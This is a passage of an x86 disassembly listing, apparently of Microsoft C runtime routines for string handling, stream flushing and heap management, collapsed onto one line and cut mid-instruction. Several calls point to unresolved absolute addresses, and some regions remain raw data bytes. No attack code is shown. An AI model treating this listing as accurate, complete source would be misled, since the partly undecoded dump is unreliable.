loc_41DE7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DEE5 loc_41DE66: ; CODE XREF: sub_41DE4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DE77 cmp cl, 7Ah jg short loc_41DE77 sub cl, 20h mov [edx], cl loc_41DE77: ; CODE XREF: sub_41DE4A+21j ; sub_41DE4A+26j inc edx cmp [edx], bl jnz short loc_41DE66 jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DE7E: ; CODE XREF: sub_41DE4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4232A8 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DED7 push edi call sub_41BEB5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DED7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41DED7 push [ebp+var_4] push [ebp+arg_0] call sub_41C890 pop ecx pop ecx loc_41DED7: ; CODE XREF: sub_41DE4A+53j ; sub_41DE4A+61j ... push [ebp+var_4] call sub_41BA91 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj ; sub_41DE4A+32j pop ebx leave retn sub_41DE4A endp ; =============== S U B R O U T I N E ======================================= sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DEFF push 4 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DEFF: ; CODE XREF: sub_41DEE8+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 retn sub_41DEE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p ; sub_420DB0+88p ... arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DF27 push 8 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DF27: ; CODE XREF: sub_41DF10+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DF8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DF8D test eax, 1 jz short loc_41DF6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DFBA inc esi inc edi dec eax jz short loc_41DF8A loc_41DF6D: ; CODE XREF: sub_41DF40+20j ; sub_41DF40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DFBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DFBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DF6D loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj ; sub_41DF40+84j pop edi pop esi locret_41DF8C: ; CODE XREF: sub_41DF40+6j retn ; --------------------------------------------------------------------------- loc_41DF8D: ; CODE XREF: sub_41DF40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DFC2 repe cmpsd jz short loc_41DFC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DFB5 cmp ch, dh jnz short loc_41DFB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DFB5 cmp ch, dh loc_41DFB5: ; CODE XREF: sub_41DF40+63j ; sub_41DF40+67j ... mov eax, 0 loc_41DFBA: ; CODE XREF: sub_41DF40+26j ; sub_41DF40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DFC2: ; CODE XREF: sub_41DF40+55j ; sub_41DF40+59j test eax, eax jz short loc_41DF8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DFB5 dec eax jz short loc_41DFE9 cmp dh, ch jnz short loc_41DFB5 dec eax jz short loc_41DFE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DFB5 dec eax loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj ; sub_41DF40+96j pop edi pop esi retn sub_41DF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p ; sub_4185D3+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx push esi push edi jnz short loc_41E019 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E0B2 cmp eax, 5Ah jg loc_41E0B2 add eax, 20h jmp loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E019: ; CODE XREF: sub_41DFEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41E04D cmp dword_43D084, esi jle short loc_41E03B push esi push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_41E045 ; --------------------------------------------------------------------------- loc_41E03B: ; CODE XREF: sub_41DFEC+42j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, esi loc_41E045: ; CODE XREF: sub_41DFEC+4Dj test eax, eax jnz short loc_41E04D loc_41E049: ; CODE XREF: sub_41DFEC+ADj mov eax, ebx jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj ; sub_41DFEC+5Bj mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41E071 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41E07A ; --------------------------------------------------------------------------- loc_41E071: ; CODE XREF: sub_41DFEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41E07A: ; CODE XREF: sub_41DFEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41E049 cmp eax, esi jnz short loc_41E0A5 movzx eax, [ebp+var_4] jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E0B2: ; CODE XREF: sub_41DFEC+16j ; sub_41DFEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DFEC endp ; =============== S U B R O U T I N E ======================================= sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp ; sub_419AE0+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E0CE loc_41E0C4: ; CODE XREF: sub_41E0B7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E0C4 loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp ; sub_418AF1+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E1A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E1CE cmp dword_4DBE84, esi jnz short loc_41E125 cmp edi, esi jbe loc_41E1CE loc_41E104: ; CODE XREF: sub_41E0D4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E1CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E104 jmp loc_41E1CE ; --------------------------------------------------------------------------- loc_41E125: ; CODE XREF: sub_41E0D4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBE94 call esi test eax, eax jnz loc_41E1CD call near ptr 26908B8h nop cmp eax, 7Ah jz short loc_41E15F loc_41E150: ; CODE XREF: sub_41E0D4+CBj ; sub_41E0D4+F7j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E167: ; CODE XREF: sub_41E0D4+B3j mov cl, [eax] test cl, cl jz short loc_41E189 mov edx, off_43CE78 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E17E inc eax loc_41E17E: ; CODE XREF: sub_41E0D4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E167 loc_41E189: ; CODE XREF: sub_41E0D4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBE94 call esi test eax, eax jnz short loc_41E1CE jmp short loc_41E150 ; --------------------------------------------------------------------------- loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj cmp dword_4DBE84, esi jnz short loc_41E1B4 push [ebp+arg_4] call sub_41B9C0 pop ecx jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBE94 nop call near ptr 2700000h cmp eax, esi jz short loc_41E150 loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj dec eax loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj ; sub_41E0D4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E0D4 endp ; --------------------------------------------------------------------------- db 0C4h dd 29C8A86Dh, 122F4F2h, 37200F44h, 0A164812Fh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0C9E890E8h, 33024539h, 89D48AD2h dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C4E8FC75h, 90000058h, 45393AE8h, 0D38CA302h, 82E8004Dh dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h dd 89FFFFDEh, 458DD075h, 89E850A4h, 9002451Dh, 53FEE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 1D66E856h, 50900228h, 0FE2F80E8h, 0A04589FFh dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p ; ___:00423721p ... arg_0 = dword ptr 4 cmp dword_4DBE3C, 1 jnz short loc_41E2D7 call sub_423D98 loc_41E2D7: ; CODE XREF: sub_41E2C9+7j push [esp+arg_0] call sub_423DD1 push 0FFh call off_43AE40 pop ecx pop ecx retn sub_41E2C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DBE3C dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h dd 0A579A4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap ; sub_42423B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DD140 jnb loc_41E3AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E3AC push edi call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E38B cmp edi, 1 jz short loc_41E359 cmp edi, 2 jnz short loc_41E36F loc_41E359: ; CODE XREF: sub_41E312+40j push 2 call sub_4240AA push 1 mov ebp, eax call sub_4240AA pop ecx cmp eax, ebp pop ecx jz short loc_41E38B loc_41E36F: ; CODE XREF: sub_41E312+45j push edi call sub_4240AA pop ecx push eax nop call near ptr 2670000h test eax, eax jnz short loc_41E38B nop call near ptr 26908B8h mov ebp, eax jmp short loc_41E38D ; --------------------------------------------------------------------------- loc_41E38B: ; CODE XREF: sub_41E312+3Bj ; sub_41E312+5Bj ... xor ebp, ebp loc_41E38D: ; CODE XREF: sub_41E312+77j push edi call sub_424030 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E3A8 push ebp call sub_420C7F pop ecx jmp short loc_41E3BD ; --------------------------------------------------------------------------- loc_41E3A8: ; CODE XREF: sub_41E312+8Bj xor eax, eax jmp short loc_41E3C0 ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E312+Ej ; sub_41E312+2Fj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41E3BD: ; CODE XREF: sub_41E312+94j or eax, 0FFFFFFFFh loc_41E3C0: ; CODE XREF: sub_41E312+98j pop edi pop esi pop ebp pop ebx retn sub_41E312 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E3EE test al, 8 jz short loc_41E3EE push dword ptr [esi+8] call sub_41BA91 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj ; sub_41E3C5+Ej pop esi retn sub_41E3C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp ; sub_41E490+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E402 push esi call sub_41E490 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E402: ; CODE XREF: sub_41E3F0+7j push esi call sub_41E42B test eax, eax pop ecx jz short loc_41E412 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E412: ; CODE XREF: sub_41E3F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E427 push dword ptr [esi+10h] call sub_4240E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E427: ; CODE XREF: sub_41E3F0+26j xor eax, eax pop esi retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap ; ___:0041DAC2p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E478 test ax, 108h jz short loc_41E478 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E478 push edi push eax push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, edi jnz short loc_41E471 mov eax, [esi+0Ch] test al, 80h jz short loc_41E478 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E478 ; --------------------------------------------------------------------------- loc_41E471: ; CODE XREF: sub_41E42B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E478: ; CODE XREF: sub_41E42B+14j ; sub_41E42B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E42B endp ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: sub_4241E3p push 1 call sub_41E490 pop ecx retn sub_41E487 endp ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap ; sub_41E487+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DD020, esi jle short loc_41E4EE loc_41E4A1: ; CODE XREF: sub_41E490+5Cj mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_41E4E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E4E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E4CB push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E4E5 inc ebx jmp short loc_41E4E5 ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E490+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E4E5 test cl, 2 jz short loc_41E4E5 push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E4E5 or edi, eax loc_41E4E5: ; CODE XREF: sub_41E490+1Bj ; sub_41E490+23j ... inc esi cmp esi, dword_4DD020 jl short loc_41E4A1 loc_41E4EE: ; CODE XREF: sub_41E490+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E4F9 mov eax, edi loc_41E4F9: ; CODE XREF: sub_41E490+65j pop edi pop esi pop ebx retn sub_41E490 endp ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: ___:0041E660p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 26A0000h cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41C500 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26E05F4h test eax, eax jz short loc_41E56D cmp dword ptr [ebp-88h], 2 jnz short loc_41E56D cmp dword ptr [ebp-94h], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: ___:0041E551j ; ___:0041E55Aj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2880000h test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: ___:0041E5ADj mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: ___:0041E5A0j ; ___:0041E5A4j inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: ___:0041E59Aj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C850 add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp-122Ch] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: ___:0041E5C7j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 2680000h nop cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41E605 loc_41E5F2: ; CODE XREF: ___:0041E603j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: ___:0041E5F6j ; ___:0041E5FAj inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: ___:0041E5F0j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41C2E0 pop ecx pop ecx loc_41E61A: ; CODE XREF: ___:0041E5CFj cmp eax, ebx jz short loc_41E65C push 2Ch push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: ___:0041E63Fj cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: ___:0041E636j inc ecx loc_41E63D: ; CODE XREF: ___:0041E63Aj cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: ___:0041E631j push 0Ah push ebx push eax call sub_41C586 add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: ___:0041E586j ; ___:0041E61Cj ... lea eax, [ebp-4] push eax call sub_41E4FD cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: ___:0041E568j ; ___:0041E650j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2471978h dd 0A3C08590h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0E890004Dh dd 246262Dh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h dd 191EE890h, 0C085023Bh, 4DD37CA3h, 0C3017500h, 4244C8Bh dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E717 proc near ; CODE XREF: sub_41BA91+17p ; sub_41BBE2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DD378 lea ecx, [eax+eax*4] mov eax, dword_4DD37C lea ecx, [eax+ecx*4] loc_41E727: ; CODE XREF: sub_41E717+26j cmp eax, ecx jnb short loc_41E73F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E741 add eax, 14h jmp short loc_41E727 ; --------------------------------------------------------------------------- loc_41E73F: ; CODE XREF: sub_41E717+12j xor eax, eax locret_41E741: ; CODE XREF: sub_41E717+21j retn sub_41E717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, dword_4DD374 test eax, eax jz loc_41EA58 mov ecx, dword_4DD36C mov esi, dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DD36C mov eax, dword_4DD374 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DD374 mov ecx, dword_4DD36C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DD374 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DD374 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DD374 loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DD374 push dword ptr [eax+10h] push 0 push dword_4DD384 call near ptr 27C0691h nop mov eax, 